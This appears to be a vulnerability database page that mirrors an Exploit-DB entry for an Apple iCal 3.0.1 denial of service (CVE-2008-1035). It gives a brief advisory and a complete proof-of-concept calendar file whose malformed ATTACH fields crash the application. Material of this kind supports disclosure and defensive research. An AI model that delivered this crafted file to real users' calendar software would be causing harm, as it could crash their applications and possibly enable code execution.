Apple iCal 3.0.1 - 'ATTACH' Denial of Service
🗓️ 21 Apr 2008 00:00:00Reported by Core Security TechnologiesType 
exploitdb🔗 www.exploit-db.com👁 33 Views
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
 | Mac OS X < 10.5.3 | 18 Aug 200400:00 | – | nessus |
| Mac OS X 10.5.x < 10.5.3 Multiple Vulnerabilities | 29 May 200800:00 | – | nessus |
| Mac OS X Multiple Vulnerabilities (Security Update 2008-003) | 29 May 200800:00 | – | nessus |
 | CVE-2008-1035 | 21 Apr 200800:00 | – | circl |
 | Multiple vulnerabilities in iCal | 21 May 200800:00 | – | coresecurity |
 | CVE-2008-1035 | 3 Jun 200820:00 | – | cve |
 | CVE-2008-1035 | 3 Jun 200820:00 | – | cvelist |
 | CVE-2008-1035 | 3 Jun 200820:32 | – | nvd |
 | Mac OS X 10.5.3 Update / Mac OS X Security Update 2008-003 | 12 May 201000:00 | – | openvas |
| Mac OS X 10.5.3 Update / Mac OS X Security Update 2008-003 | 12 May 201000:00 | – | openvas |
10
source: https://www.securityfocus.com/bid/28633/info
Apple iCal is prone to a denial-of-service vulnerability because it fails to adequately sanitize user-supplied input data.
Successful exploits will crash the application. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.
iCal 3.0.1 is vulnerable; other versions may also be affected.
/-----------
BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME:evento falso
VERSION:2.0
X-WR-RELCALID:71CE8EAD-380B-4EA3-A123-60F9B2A03990
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:11
DTSTART;TZID=America/Buenos_Aires:20071225T000000
DTSTAMP:20071213T143420Z
SUMMARY:evento falso
DTEND;TZID=America/Buenos_Aires:20071225T010000
LOCATION:donde se hace
RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1
TRANSP:OPAQUE
UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9
URL;VALUE=URI:http://pepe.com:443/pepe
ATTACH;FMTTYPE=text/php;X-APPLE-CACHED=1:ical://attachments/4E3646DE-ED2
0-449C-88E7-744E62BC8C12/651D31BE-455E-45ED-99C6-55B9F03A3FA9/popote.php
CREATED:20071213T142720Z
CREATED:20071213T124215Z
BEGIN:VALARM
X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49
ACTION:DISPLAY
DESCRIPTION:Event reminder
TRIGGER:-PT15H
END:VALARM
BEGIN:VALARM
X-WR-ALARMUID:F54A0E05-57B8-4562-8E77-056B19305CD0
ACTION:AUDIO
TRIGGER:-PT15M
ATTACH;VALUE=URI:S=osumi
END:VALARM
END:VEVENT
END:VCALENDAR
-----------/Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Feb 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.10124